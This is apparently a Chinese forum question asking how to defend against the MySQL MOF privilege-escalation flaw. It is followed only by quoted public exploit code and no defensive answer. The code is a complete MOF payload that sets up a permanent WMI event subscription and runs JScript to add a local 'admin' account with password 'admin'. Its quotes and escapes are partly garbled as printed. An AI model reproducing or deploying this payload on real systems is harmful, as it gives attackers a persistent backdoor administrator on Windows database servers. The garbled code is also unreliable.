Mysql mof扩展漏洞如何防范？

Mysql mof扩展漏洞如何防范？

网上公开的一些利用代码:

#pragma namespace(“\\.\root\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\Cimv2″;
Name = “filtP2″;
Query = “Select * From __InstanceModificationEvent ”
“Where TargetInstance Isa ”Win32_LocalTime” ”
“And TargetInstance.Second = 5″;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2″;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(”WScript.Shell”)nWSH.run(”net.exe user admin admin /add”)”;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};